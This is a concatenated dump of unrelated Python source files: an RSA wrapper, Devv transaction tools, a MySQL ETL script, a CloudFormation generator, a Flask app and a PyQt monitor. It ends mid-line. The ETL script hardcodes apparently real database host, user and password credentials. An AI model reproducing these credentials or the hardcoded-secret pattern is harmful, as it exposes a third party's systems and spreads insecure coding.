e[i,j,PF[i]]\n #\n # optK = kvec[PF]\n # optI = optK - (1 - delta) * kvec\n # print(VF, PF)\n return VF, PF\n\n\nVF, PF = firmsolve()\n\nax.plot_wireframe(X, Y, ZN)\nax.plot_wireframe(X, Y, kgrid[PF]) # , rstride=10, cstride=10)\n\nplt.show()\n","sub_path":"ProbSets/Econ/Week5/2-2.py","file_name":"2-2.py","file_ext":"py","file_size_in_byte":10691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"466392827","text":"import six\nimport sys\nimport OpenSSL\n\n_lib = OpenSSL._util.lib\n_ffi = OpenSSL._util.ffi\n\nNULL = _ffi.NULL\nRSA_PKCS1_PADDING = 1\nRSA_F4 = 0x10001\n\nclass SSLError(Exception):\n \"\"\"An error in OpenSSL.\"\"\"\n\n def __init__(self, message, *args):\n message = message % args\n err = _lib.ERR_get_error()\n if err:\n message += ':'\n while err:\n buf = _ffi.new('char[]', 120)\n _lib.ERR_error_string_n(err, buf, 120)\n if six.PY3:\n message += '\\n%s' % b''.join(buf).decode()\n else:\n message += '\\n%s' % ''.join(buf)\n err = _lib.ERR_get_error()\n super(SSLError, self).__init__(message)\n\n\ndef BIO_reset(b):\n return _lib.BIO_ctrl(b, 1, 0, NULL)\n\n\nclass Key(object):\n \"\"\"An OpenSSL RSA key.\"\"\"\n\n def __init__(self, fp=None):\n self.key = None\n self.public = False\n if not fp:\n return\n if isinstance(fp, six.binary_type) and fp.startswith(b'-----'):\n # PEM formatted text\n self.raw = fp\n elif isinstance(fp, six.string_types):\n self.raw = open(fp, 'rb').read()\n else:\n self.raw = fp.read()\n self._load_key()\n\n def _load_key(self):\n buf = _ffi.new(\"char[]\", self.raw)\n bio = _lib.BIO_new_mem_buf(buf, len(buf))\n try:\n self.key = _lib.PEM_read_bio_RSAPrivateKey(bio,\n _ffi.new('RSA**'),\n _ffi.new('char *'),\n _ffi.new('char *'))\n if not self.key:\n BIO_reset(bio)\n self.public = True\n self.key = _lib.PEM_read_bio_RSAPublicKey(bio,\n _ffi.new('RSA**'),\n _ffi.new('char *'),\n _ffi.new('char *'))\n if not self.key:\n raise SSLError('Unable to load RSA key')\n finally:\n _lib.BIO_free(bio)\n\n @classmethod\n def generate(cls, size=1024, exp=_lib.RSA_F4):\n self = cls()\n key = _lib.RSA_new()\n exponent = _lib.BN_new()\n exponent = _ffi.gc(exponent, _lib.BN_free)\n _lib.BN_set_word(exponent, exp)\n res = _lib.RSA_generate_key_ex(key, size, exponent, NULL)\n if res == 0:\n raise SSLError('Unable to generate key')\n self.key = key\n return self\n\n def private_encrypt(self, value, padding=RSA_PKCS1_PADDING):\n if self.public:\n raise SSLError('private method cannot be used on a public key')\n if six.PY3 and not isinstance(value, bytes):\n value = bytes(value, encoding='utf-8')\n else:\n value = str(value)\n buf = _ffi.new('char[%i]' % len(value), value)\n size = _lib.RSA_size(self.key)\n output = _ffi.new('char[]', size)\n ret = _lib.RSA_private_encrypt(len(buf), buf, output, self.key, padding)\n if ret <= 0:\n raise SSLError('Unable to encrypt data')\n if six.PY3:\n return b''.join(output[0:ret])\n else:\n return ''.join(output[0:ret])\n\n def public_decrypt(self, value, padding=RSA_PKCS1_PADDING):\n if six.PY3 and not isinstance(value, bytes):\n value = bytes(value, encoding='utf-8')\n buf = _ffi.new('char[%i]' % len(value), value)\n size = _lib.RSA_size(self.key)\n output = _ffi.new('char[]', size)\n ret = _lib.RSA_public_decrypt(len(buf), buf, output, self.key, padding)\n if ret <= 0:\n raise SSLError('Unable to decrypt data')\n if six.PY3:\n return b''.join(output[0:ret]).decode('utf-8')\n else:\n return ''.join(output[0:ret])\n\n def private_export(self):\n if self.public:\n raise SSLError('private method cannot be used on a public key')\n bio = _lib.BIO_new(_lib.BIO_s_mem())\n _lib.PEM_write_bio_RSAPrivateKey(bio, self.key, NULL, NULL, 0, NULL, NULL)\n pem = OpenSSL.crypto._bio_to_string(bio)\n return pem\n\n def public_export(self):\n bio = _lib.BIO_new(_lib.BIO_s_mem())\n _lib.PEM_write_bio_RSAPublicKey(bio, self.key)\n pem = OpenSSL.crypto._bio_to_string(bio)\n return pem\n\n def __del__(self):\n if self.key and _lib.RSA_free:\n _lib.RSA_free(self.key)\n","sub_path":"chef/rsa.py","file_name":"rsa.py","file_ext":"py","file_size_in_byte":4545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"604919888","text":"#!/usr/bin/env python\n\"\"\"\nTools to send Devv transactions and proposals in Google Protobuf format.\n\"\"\"\n\n__copyright__ = \"Copyright 2018, Devvio Inc\"\n__email__ = \"security@devv.io\"\n\nimport zmq\nfrom . import devv_pb2 as dpb\nimport subprocess\nimport time\nimport tempfile\n\ndef create_devvsign_command(env_file, private_keyfile, key_pass):\n cmd = [\"devv-sign\"]\n cmd.extend([\"--quiet-mode\"])\n cmd.extend([\"--envelope-file\", env_file])\n cmd.extend([\"--private-key\", private_keyfile])\n cmd.extend([\"--key-pass\", key_pass])\n print(cmd)\n return cmd\n\nclass DevvTransfer(object):\n def __init__(self, address=None, coin=None, amount=None, delay=None):\n print(\"Transfer: {}:{}:{}:{}\".format(address, coin, amount, delay))\n\n if not coin:\n raise Exception(\"Coin type must be set\")\n if not amount:\n raise Exception(\"Transfer amount must be set\")\n\n self._address = bytes.fromhex(address)\n self._coin = int(coin)\n self._amount = int(amount)\n self._delay = int(delay)\n\n def get_pbuf(self):\n pb_tx = dpb.Transfer()\n pb_tx.address = self._address\n pb_tx.coin = self._coin\n pb_tx.amount = self._amount\n pb_tx.delay = self._delay\n return pb_tx\n\n\nclass DevvTransaction(object):\n def __init__(self, operation=\"EXCHANGE\", nonce=str(time.time())):\n self.set_operation(operation)\n self.set_nonce(nonce)\n self._transfers = []\n self._sig = bytes()\n\n def set_nonce(self, nonce):\n try:\n self._nonce = bytes.fromhex(nonce)\n print(\"Created nonce from hex number\")\n except ValueError:\n self._nonce = nonce.encode(\"utf-8\")\n print(\"Created nonce from string value\")\n\n def set_operation(self, operation):\n op = operation.upper()\n if (op.find(\"CREATE\") >= 0):\n self._operation = dpb.OP_CREATE\n elif(op.find(\"MODIFY\") >= 0):\n self._operation = dpb.OP_MODIFY\n elif(op.find(\"EXCHANGE\") >= 0):\n self._operation = dpb.OP_EXCHANGE\n elif(op.find(\"DELETE\") >= 0):\n self._operation = dpb.OP_DELETE\n else:\n raise ValueError(\"Unknown operation\")\n\n def set_signature(self, sig):\n try:\n self._sig = bytes.fromhex(sig)\n print(\"Created sig from hex number\")\n except ValueError:\n self._sig = sig.encode(\"utf-8\")\n print(\"Created nonce from string value\")\n\n def add_transfer(self, address=None, coin=None, amount=None, delay=0, transfer_string=None):\n if (transfer_string):\n print(\"Adding transfer string\")\n self.add_transfer_string(transfer_string)\n\n if (address):\n print(\"Adding transfer: {}:{}:{}:{}\".format(address, coin, amount, delay))\n self._transfers.append(DevvTransfer(address=address, coin=coin, amount=amount, delay=delay))\n\n def add_transfer_string(self, transfer_string):\n p = transfer_string.split(\":\")\n if len(p) < 3:\n raise ValueError('Transfer string must contain \"address:coin_type:amount[:delay]\"')\n t = DevvTransfer(address=p[0], coin=p[1], amount=p[2], delay=p[3] if len(p) == 4 else 0)\n self._transfers.append(t)\n\n def get_pbuf(self):\n pb_tx = dpb.Transaction()\n\n pb_transfers = []\n for transfer in self._transfers:\n pb_transfers.append(transfer.get_pbuf())\n pb_tx.xfers.extend(pb_transfers)\n\n pb_tx.operation = self._operation\n pb_tx.nonce = self._nonce\n pb_tx.sig = self._sig\n\n return pb_tx\n\n\ndef get_sig(env, pkeyfile, key_pass, filename=None):\n print('size txs', str(len(env.txs)))\n\n env_file = None\n if not filename:\n env_file = devv.EnvFile(env, tmp_dir='/tmp')\n filename = env_file.filename()\n\n print(\"env filename: \", filename)\n\n cmd = devv.create_devvsign_command(filename, pkeyfile, key_pass)\n out = subprocess.check_output(cmd)\n print(\"out: \"+str(out))\n sig = out.decode(\"utf-8\").rstrip()\n\n print(\"sleeping 1 again\")\n time.sleep(1)\n\n print(\"sig: \"+sig)\n\n return sig\n\ndef get_envelope(tx):\n pbtx = tx.get_pbuf()\n\n print(\"pbuf\")\n print(pbtx)\n\n env = dpb.Envelope()\n env.txs.extend([pbtx])\n return env\n\ndef wrap_tx(tx):\n pbtx = tx.get_pbuf()\n\n print(\"pbuf\")\n print(pbtx)\n\n env = dpb.Envelope()\n env.txs.extend([pbtx])\n return env\n\n\nclass DevvProposal(object):\n def __init__(self, oracle=None, data=None):\n print(\"Proposal: {}:{}\".format(oracle, data))\n\n if not oracle:\n raise ValueError(\"Oracle instance must be set\")\n if not data:\n raise ValueError(\"All oracles require some data\")\n\n self._oracle = oracle\n self._data = bytes.fromhex(data)\n self._data_size = len(self._data)\n\n def get_pbuf(self):\n pb_prop = dpb.Proposal()\n pb_prop.oraclename = self._oracle\n pb_prop.data = self._data\n pb_prop.data_size = self._data_size\n return pb_prop\n\n\ndef wrap_prop(prop):\n pbprop = prop.get_pbuf()\n\n print(\"pbprop\")\n print(pbprop)\n\n env = dpb.Envelope()\n env.proposals.extend([pbprop])\n return env\n\n\ndef send_envelope(env, uri):\n context = zmq.Context()\n socket = context.socket(zmq.REQ)\n socket.connect(uri)\n\n print(\"Sending message in 1\")\n time.sleep(1)\n socket.send(env.SerializeToString())\n time.sleep(1)\n x = socket.recv()\n print(\"Sent message\")\n\n\nclass EnvFile:\n def __init__(self, env, tmp_dir='/tmp'):\n self._env_file = tempfile.NamedTemporaryFile(dir=tmp_dir, suffix=\"_env.pbuf\")\n\n self._estr = env.SerializeToString()\n print(\"estr: \", len(self._estr))\n self._env_file.write(env.SerializeToString())\n self._env_file.flush()\n\n def __del__(self):\n self._env_file.close()\n\n def filename(self):\n return self._env_file.name\n\n\nclass KeyFile:\n def __init__(self, address, key, tmp_dir='/tmp'):\n self._tmp_dir = tmp_dir\n lsize = 64\n self._key = [address]\n self._key.append('-----BEGIN ENCRYPTED PRIVATE KEY-----')\n self._key.extend([key[i:i+lsize] for i in range(0, len(key), lsize) ])\n self._key.append('-----END ENCRYPTED PRIVATE KEY-----')\n\n self._key_file = None\n self.write()\n\n def __del__(self):\n if self._key_file:\n self._key_file.close()\n self._key_file = None\n\n def write(self):\n self._key_file = tempfile.NamedTemporaryFile(dir=self._tmp_dir, suffix=\".devvkey\", mode='w+', delete=False)\n for i in self._key:\n self._key_file.write(i)\n self._key_file.write('\\n')\n self._key_file.close()\n\n def filename(self):\n return self._key_file.name\n\n def display(self):\n for i in self._key:\n print(\"{}\".format(i))\n\n","sub_path":"examples/python/devv/devv.py","file_name":"devv.py","file_ext":"py","file_size_in_byte":6903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"587972213","text":"#coding=utf-8\n'''\nCreated on Feb 10, 2017\n\n@author: xiaochengcao\n'''\n\nimport arrow\nimport MySQLdb\nimport json\nimport sys\n\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nif __name__ == '__main__':\n \n output_format = '%s\\t%s\\n'\n \n conn=MySQLdb.Connect(host='rm-2ze7f85494p1i7i7r.mysql.rds.aliyuncs.com',port=3306,user='heyijoy',passwd='heyi20!^#',db='audit_dmxlda',charset='utf8')\n ordercursor = conn.cursor()\n ordercursor.execute('select role_id,charge_gem,optime,log_id from role_pay')\n orderresult=ordercursor.fetchall()\n \n # 查询user和role对应关系\n userroleconn=MySQLdb.Connect(host='rm-2ze7f85494p1i7i7r.mysql.rds.aliyuncs.com',port=3306,user='heyijoy',passwd='heyi20!^#',db='audit_dmxlda',charset='utf8')\n userrolecursor = userroleconn.cursor()\n userrolecursor.execute('select ROLEID,USERID,AREAID,ROLENAME,LASTSIGNINIP from user_role')\n \n userroleresults = userrolecursor.fetchall()\n roleresultdict = {}\n \n for userroleresult in userroleresults:\n roleresultdict[userroleresult[0]] = '\\t'.join(str(i) for i in userroleresult[1:]) \n \n userroleconn.close()\n \n for sqlresult in orderresult:\n \n event = 'user pay'\n context = {}\n matrix_sdk_context = {}\n data_formatted = {}\n \n roleid = sqlresult[0]\n money = sqlresult[1]*10 # 换算成钱数\n createdtime = str(sqlresult[2])\n log_id = sqlresult[3]\n channel_id = '-'\n currency = 'rmb'\n orderid = '-'\n appid = '-'\n ip = '-'\n \n server_time_str = createdtime + '+0800'\n server_time_str = str(arrow.get(server_time_str).for_json())\n \n # 写入user和role对应关系\n userid = serverid = rolename = lastloginip = '-'\n \n if roleresultdict.has_key(str(roleid)):\n userinfo = roleresultdict[str(roleid)]\n userid,serverid,rolename,lastloginip = userinfo.split('\\t')\n \n context['amount'] = money\n context['channel_id'] = channel_id\n context['currency'] = currency\n context['fixed_time'] = server_time_str\n context['orderid'] = orderid\n context['role_id'] = roleid\n context['status'] = 'success'\n context['ip'] = ip\n context['log_id'] = log_id\n \n \n context['user_id'] = userid\n context['rolename'] = rolename\n context['serverid'] = serverid\n context['lastloginip'] = lastloginip\n \n matrix_sdk_context['matrix_sdk_api_version'] = '1.0.0'\n matrix_sdk_context['matrix_sdk_lang'] = 'java'\n matrix_sdk_context['matrix_sdk_platform'] = 'common'\n matrix_sdk_context['matrix_sdk_version'] = '1.0.0'\n matrix_sdk_context['matrix_token'] = appid\n \n data_formatted['event'] = event\n data_formatted['context'] = context\n data_formatted['matrix_sdk_context'] = matrix_sdk_context\n \n json_data = json.dumps(data_formatted, ensure_ascii=False)\n \n output = output_format % (server_time_str, json_data)\n sys.stdout.write(output)\n \n conn.close()\n \n \n \n \n \n ","sub_path":"etl/utils/audit/dmxlda_userpay.py","file_name":"dmxlda_userpay.py","file_ext":"py","file_size_in_byte":3327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"343244528","text":"#!/usr/bin/python\n\nimport sys\n\nignored=18\ncount=0\n\nif len(sys.argv) > 1:\n for arg in sys.argv[1:]:\n f = open(arg, \"rb\")\n try:\n byte = f.read(1)\n while byte != \"\":\n byte = f.read(1)\n count+=1\n if count>=ignored:\n sys.stdout.write(byte)\n finally: \n f.close()\nelse:\n sys.stdout.write(\"Usage: rb_md5_file.py [ file ]\\n\")\n","sub_path":"manager/tools/rb_md5_file-1.0/rb_md5_file.py","file_name":"rb_md5_file.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"105121081","text":"from troposphere import Template, Ref, Join, GetAtt, Parameter\nfrom troposphere.sns import Topic, Subscription, TopicPolicy\nfrom troposphere.s3 import Bucket\nfrom troposphere.s3 import NotificationConfiguration, TopicConfiguration\nfrom troposphere.cloudtrail import Trail\nfrom troposphere.iam import Role, PolicyProperty\nfrom troposphere.awslambda import Function, Code\n\nfrom awacs.aws import Policy, Statement, Principal, Action, Condition, ArnLike\n\n\n# Change to True if cloudtrail is already configured and pushing logs to S3\nis_cloudtrail_already_enabled = False\n\nt = Template()\nt.add_description(\"Cloudtrail bucket sending notifications to lambda\")\n\n###############################################################################\n# Input parameters\n\nlambda_repository_bucket_name = t.add_parameter(Parameter(\n \"LambdaRepoS3BucketName\",\n Type=\"String\",\n Description=\"Name of bucket where versioned lambda zip are stored\"\n))\n\nlambda_repository_bucket_key = t.add_parameter(Parameter(\n \"LambdaRepoS3BucketKey\",\n Type=\"String\",\n Description=\"Key in bucket where versioned lambda zip is\"\n))\n\nlambda_repository_bucket_version = t.add_parameter(Parameter(\n \"LambdaRepoS3BucketVersion\",\n Type=\"String\",\n Description=\"Version of bucket where lambda zip is\"\n))\n\nlambda_function_name = t.add_parameter(Parameter(\n \"LambdaFunctionName\",\n Type=\"String\",\n Description=\"Name of lambda function\"\n))\n\ncloudtrail_bucket_name = t.add_parameter(Parameter(\n \"CloudtrailBucketName\",\n Type=\"String\",\n Description=\"Name of bucket that cloudtrail is pushing logs to\"\n))\n\n###############################################################################\n# Lambda and associated IAM role. Processes Cloudtrail logs and extracts\n# launched instances to tag them with their owners.\n\nlambda_iam_policy = PolicyProperty(\n PolicyName=\"lambda-execution-policy\",\n PolicyDocument=Policy(\n Statement=[\n Statement(\n Effect=\"Allow\",\n Action=[\n Action(\"s3\", \"ListBucket\")\n ],\n Resource=[\n Join(\"\", [\"arn:aws:s3:::\", Ref(cloudtrail_bucket_name)])\n ]\n ),\n Statement(\n Effect=\"Allow\",\n Action=[\n Action(\"s3\", \"GetObject\")\n ],\n Resource=[\n Join(\n \"\",\n [\"arn:aws:s3:::\", Ref(cloudtrail_bucket_name), \"/*\"]\n )\n ]\n ),\n Statement(\n Effect=\"Allow\",\n Action=[\n Action(\"ec2\", \"CreateTags\")\n ],\n Resource=[\"*\"]\n ),\n Statement(\n Effect=\"Allow\",\n Action=[\n Action(\"lambda\", \"invokeFunction\")\n ],\n Resource=[\"*\"],\n Condition=Condition([\n ArnLike({\n \"AWS:SourceArn\": Join(\n \"\", [\"arn:aws:sns:*:\", Ref(\"AWS::AccountId\"), \":*\"]\n )\n })\n ])\n ),\n Statement(\n Effect=\"Allow\",\n Action=[\n Action(\"logs\", \"Describe*\"),\n Action(\"logs\", \"Put*\"),\n Action(\"logs\", \"Create*\")\n ],\n Resource=[\"arn:aws:logs:*:*:*\"]\n ),\n ]\n )\n)\n\nlambda_iam_role = t.add_resource(Role(\n \"LambdaIAMRole\",\n AssumeRolePolicyDocument=Policy(\n Statement=[Statement(\n Effect=\"Allow\",\n Principal=Principal(\n \"Service\", [\"lambda.amazonaws.com\"]\n ),\n Action=[Action(\"sts\", \"AssumeRole\")]\n )]\n ),\n Path=\"/\",\n Policies=[lambda_iam_policy]\n))\n\nlambda_function = t.add_resource(Function(\n \"CloudtrailInstanceTagger\",\n Code=Code(\n S3Bucket=Ref(lambda_repository_bucket_name),\n S3Key=Ref(lambda_repository_bucket_key),\n S3ObjectVersion=Ref(lambda_repository_bucket_version)\n ),\n Handler=Join(\"\", [Ref(lambda_function_name), \".handler\"]),\n Role=GetAtt(lambda_iam_role, \"Arn\"),\n Runtime=\"nodejs\",\n Timeout=\"10\"\n))\n\n###############################################################################\n# SNS topic linking Cloudtrail S3 bucket to Lambda used to tag instances with\n# their owners\n\nif not is_cloudtrail_already_enabled:\n sns_topic = t.add_resource(Topic(\n \"S3ToLambdaTopic\",\n Subscription=[\n Subscription(\n Endpoint=GetAtt(lambda_function, \"Arn\"),\n Protocol=\"lambda\"\n )\n ]\n ))\n\n sns_topic_policy = t.add_resource(TopicPolicy(\n \"S3ToLambdaTopicPolicy\",\n Topics=[Ref(sns_topic)],\n PolicyDocument=Policy(\n Statement=[\n Statement(\n Effect=\"Allow\",\n Action=[\n Action(\"sns\", \"Publish\")\n ],\n Resource=[Ref(sns_topic)],\n Principal=Principal(\n \"Service\", [\"s3.amazonaws.com\"]\n ),\n Condition=Condition([\n ArnLike({\n \"AWS:SourceArn\": Join(\n \"\",\n [\"arn:aws:s3:::\", Ref(cloudtrail_bucket_name)]\n )\n })\n ])\n )\n ]\n )\n ))\n\n###############################################################################\n# S3 bucket used to store Cloudtrail logs\n\nif not is_cloudtrail_already_enabled:\n s3_notification_conf = NotificationConfiguration(\n TopicConfigurations=[\n TopicConfiguration(\n Event=\"s3:ObjectCreated:*\",\n Topic=Ref(sns_topic)\n )\n ]\n )\n\n # NOTE: should really add \"retain\" if deleted.\n s3_bucket = t.add_resource(Bucket(\n \"S3Bucket\",\n BucketName=Ref(cloudtrail_bucket_name),\n NotificationConfiguration=s3_notification_conf\n ))\n\n###############################################################################\n# Enable Cloudtrail and push logs to S3 bucket\n\nif not is_cloudtrail_already_enabled:\n cloudtrail = t.add_resource(Trail(\n \"Cloudtrail\",\n IncludeGlobalServiceEvents=True,\n IsLogging=True,\n S3BucketName=Ref(cloudtrail_bucket_name)\n ))\n\n###############################################################################\n\nprint(t.to_json())\n","sub_path":"cloudformation/src/cloudtrail-lambda.py","file_name":"cloudtrail-lambda.py","file_ext":"py","file_size_in_byte":6708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"148735917","text":"# _*_encoding:utf-8_*_\n__author__ = 'Allen'\n__date__ = '2018/12/18 22:31'\n\n\ndef cookie_str_2_cookie_format(cookies_str):\n return {cookie.split(\"=\")[0]: cookie.split(\"=\")[1] for cookie in cookies_str.split(\"; \")}\n\n\ndef dict_2_items(dict_str):\n l = [line.split(\":\")[0] + \"=\" + \"scrapy.Field()\" for line in dict_str.replace('\"', '').split(',')]\n str = \"\"\n for m in l:\n str += m\n return str\n\n\ndef itemAttrSameAsDictAttr(itemName, dictName, str):\n l = [itemName + \"['\" + line.split(\"=\")[0] + \"']\" + \"=\" + dictName + \"['\" + line.split(\"=\")[0] + \"']\" for line in\n str.split(\"\\n\")]\n str = \"\"\n for m in l:\n str += m + \"\\n\"\n return str\n","sub_path":"utils/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"388796393","text":"from flask import Flask, jsonify\nimport logging\nfrom functools import wraps\n\n\nlogging.basicConfig(filename='app.log', format='%(asctime)s, %(message)s', level=logging.DEBUG)\napp = Flask(__name__)\n\ndef endpoint_reached(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n logging.info(func.__name__ + ' endpoint was reached')\n return func(*args, **kwargs)\n return wrapper\n\n\n@app.route(\"/\")\n@endpoint_reached\ndef hello():\n return \"Hello World!\"\n\n@app.route(\"/status\")\n@endpoint_reached\ndef status_check():\n return jsonify({\n 'success':True,\n 'result': 'OK - healthy'\n })\n\n@app.route(\"/metrics\")\n@endpoint_reached\ndef metrics_check():\n metrics_data = {'UserCount': 140, 'UserCountActive': 23}\n return jsonify({\n 'success':True,\n 'data': metrics_data\n })\n\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0')\n","sub_path":"exercises/python-helloworld/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"589938747","text":"from classes.game import *\n\nif __name__ == '__main__':\n character = Character(\"Hero\", 300, 10, 30, 0, 100, 125, 2,\n Actions(Spell(\"Eldritch Blast\", 10, 15, 15, 10, 5),\n Spell(\"Fireball\", 30, 40, 20, 10, 10),\n Spell(\"Disintegrate\", 150, 250, 20, 30, 50),\n Weapon(\"Star Razer\", 20, 35, 5, 15, 2),\n Weapon(\"Dreihänder\", 50, 125, 0, 35, 3)),\n Armory(Helmet(\"Bucket\", 2, 1, 0, 1),\n Pauldrons(\"Piece 'o Wood\", 1, 0, 0, 1),\n Cuirass(\"Chestnut\", 4, 2, -1, 2),\n Gauntlets(\"Midas' Glove\", 1, 3, 1, 1),\n Cuisses(\"Carapace\", 2, 3, -1, 2),\n Greaves(\"Berzerker's Greaves\", 1, 1, 0, 0)),\n True)\n\n enemy = Character(\"Orc\", 500, 20, 5, 0, 0, 25, 2,\n Actions(Spell(\"True Strike\", 10, 25, 0, 0, 1),\n Spell(\"Violent Smite\", 0, 50, 0, 0, 20)),\n Armory(Helmet(\"\", 0, 0, 0, 0),\n Pauldrons(\"\", 0, 0, 0, 0),\n Cuirass(\"\", 0, 0, 0, 0),\n Gauntlets(\"\", 0, 0, 0, 0),\n Cuisses(\"\", 0, 0, 0, 0),\n Greaves(\"\", 0, 0, 0, 0)),\n False)\n\n combat = Combat(character, enemy)\n combat.do_combat()\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"584212249","text":"from PyQt5 import QtWidgets, QtCore, QtGui\r\nimport pyqtgraph as pg\r\nimport sys, os\r\nimport traceback\r\nimport psutil\r\nimport redis, zmq\r\nimport time, datetime\r\nimport yaml\r\nfrom PyQt5.QtWidgets import QColorDialog\r\nfrom PyQt5.QtCore import pyqtSlot, Qt\r\nfrom PyQt5.QtGui import QColor, QIntValidator, QDoubleValidator, QRegExpValidator\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom functools import partial\r\nfrom operator import itemgetter\r\n\r\nfrom multiprocessing import Process, Value # 导入multiprocessing模块,然后导入Process这个类\r\n\r\nimport threading\r\nfrom time import sleep, ctime\r\n\r\nimport warnings\r\n\r\n\r\nwarnings.simplefilter(action='ignore', category=FutureWarning)\r\npd.set_option('mode.chained_assignment', None)\r\n\r\n\r\nclass Config:\r\n\r\n def __init__(self, config_file: str):\r\n with open(config_file, 'r') as f:\r\n self.Assets = yaml.load(f, Loader=yaml.FullLoader)\r\n\r\n def GetSetGeo(self, Key, Value):\r\n self.Assets[Key] = Value\r\n\r\n\r\nclass DataLoader:\r\n '''\r\n every threading is for a subscriber\r\n one channel one threading\r\n every field is saved in the corresponding field in Data:list of dict\r\n '''\r\n\r\n def __init__(self, threadName: str, KeyList, host, port, passwd, db, ):\r\n self.threadName = threadName\r\n self.flag = True\r\n self.KeyList = KeyList\r\n self.host = host\r\n self.port = port\r\n self.db = db\r\n self.passwd = passwd\r\n self.CurrP = 0\r\n print(f'{self.threadName} is ready to start!')\r\n self.conn = redis.Redis(host=self.host, port=self.port, password=self.passwd, charset='gb18030',\r\n errors='replace', decode_responses=True, db=self.db)\r\n self.r = self.conn.pipeline(transaction=False)\r\n\r\n def getData(self):\r\n for key in self.KeyList:\r\n self.r.get('KZ:'+key+':LATEST')\r\n temp = self.r.execute()\r\n self.CurrP = pd.Series(temp, index=self.KeyList, dtype='float')/10000\r\n # if (self.CurrP==0).any():\r\n # self.CurrP = pd.Series(np.ones(len(self.CurrP)), index=self.KeyList, dtype='float')\r\n\r\n def update(self, KeyList):\r\n self.KeyList = KeyList\r\n\r\n def stop(self):\r\n self.r.close()\r\n self.conn.connection_pool.disconnect()\r\n\r\n# class MyETFThread(threading.Thread):\r\n# def __init__(self, Key:str):\r\n# super(MyETFThread, self).__init__()\r\n# self.context = zmq.Context()\r\n# self.socket = self.context.socket(zmq.SUB)\r\n# self.Flag = True\r\n# self.Key = Key\r\n# self.response = None\r\n#\r\n# def run(self):\r\n# self.socket.connect(\"tcp://168.36.1.181:6666\")\r\n# self.socket.setsockopt(zmq.SUBSCRIBE, ('MDTKS'+self.Key).encode('utf-8')) # 消息过滤\r\n#\r\n# while True and self.Flag:\r\n# try:\r\n# self.response = int(self.socket.recv().decode('utf-8').split(',')[2])/10000\r\n# # print(self.response)\r\n# except:\r\n# pass\r\n#\r\n#\r\n# def stop(self):\r\n# self.Flag = False\r\n# # sleep(0.5)\r\n# self.socket.close()\r\n# self.context.destroy()\r\n\r\n\r\nclass MyETFThread:\r\n def __init__(self):\r\n self.r = redis.Redis(host='168.36.1.115', db=0, password='', port=6379)\r\n self.response = None\r\n\r\n def run(self, key: str):\r\n self.response = float(self.r.get('KZ:'+key+':PRECLOSE'))/pow(10, 7)\r\n print(self.response)\r\n\r\n\r\nclass MainUI(QtWidgets.QMainWindow):\r\n\r\n def __init__(self):\r\n super(MainUI, self).__init__()\r\n self.config = Config('configuration.yaml')\r\n self.KeyPattern = list(self.config.Assets.keys())\r\n self.df_datas = [pd.DataFrame()]*len(self.KeyPattern)\r\n self.ETFvalue = 0\r\n self.getListInit()\r\n\r\n # self.windowSize = {}\r\n\r\n self.Loader = DataLoader(host='168.36.1.115', port=6379, KeyList=self.df_datas[0].index, threadName='worker', db=0, passwd='')\r\n\r\n # fn_plot_config = 'plot_config.yaml'\r\n # loading configurations\r\n # self.config = Config('Configuration.yaml') # 配置文件\r\n\r\n # main window create\r\n self.setWindowTitle('Premium')\r\n\r\n # if 'Position' in self.config.Assets.keys():\r\n # self.SetGeoWin(self.config.Assets['Position'])\r\n # self.mainwindow_widget = QtWidgets.QWidget()\r\n # self.mainwindow_layout = QtWidgets.QGridLayout()\r\n self.main_widget = QtWidgets.QWidget()\r\n self.main_layout = QtWidgets.QGridLayout()\r\n self.main_widget.setLayout(self.main_layout)\r\n self.setCentralWidget(self.main_widget)\r\n self.main_layout.setSpacing(0)\r\n\r\n # self.main_widget.setFixedSize(QtCore.QSize(1150, 243+125))\r\n\r\n self.myETFThread = MyETFThread()\r\n\r\n self.FixedFrame()\r\n self.Combo_Box_settle()\r\n self.textBars_settle()\r\n\r\n self.windowSize = dict()\r\n self.windowSize['5'] = QtCore.QSize(1150, 118)\r\n\r\n self.resize(self.windowSize['5'])\r\n\r\n\r\n self.timer_init(self.myETFThread)\r\n\r\n # self.ontime = MyThread(threadName='copper', counts=self.counts, channel='H:', host='168.36.1.181',\r\n # port=6379, passwd='', db=9)\r\n #\r\n # self.ontime.start()\r\n # self.timer_init(self.ontime)\r\n\r\n def getListInit(self):\r\n r = redis.Redis(host='168.36.1.170', port=6379)\r\n conn_r = r.pipeline(transaction=False)\r\n for index, keypattern in enumerate(self.KeyPattern):\r\n keypattern1 = \"IDXLST:\"+self.config.Assets[keypattern][0]+\":*\"\r\n SList1 = np.array(r.keys(keypattern1), dtype='str')\r\n keypattern2 = \"ETFLST:\"+self.KeyPattern[index]+\":Components:*\"\r\n SList2 = np.array(r.keys(keypattern2), dtype='str')\r\n\r\n for x in SList1:\r\n conn_r.hmget(x, ['Weight', 'ClosePx', 'ConstituentName'])\r\n tt1 = conn_r.execute()\r\n\r\n for x in SList2:\r\n conn_r.hget(x, 'ComponentShare')\r\n tt2 = conn_r.execute()\r\n\r\n\r\n for i in range(len(SList1)):\r\n SList1[i] = 'S' + SList1[i].split(\":\")[2][:6]\r\n for i in range(len(SList2)):\r\n SList2[i] = 'S' + 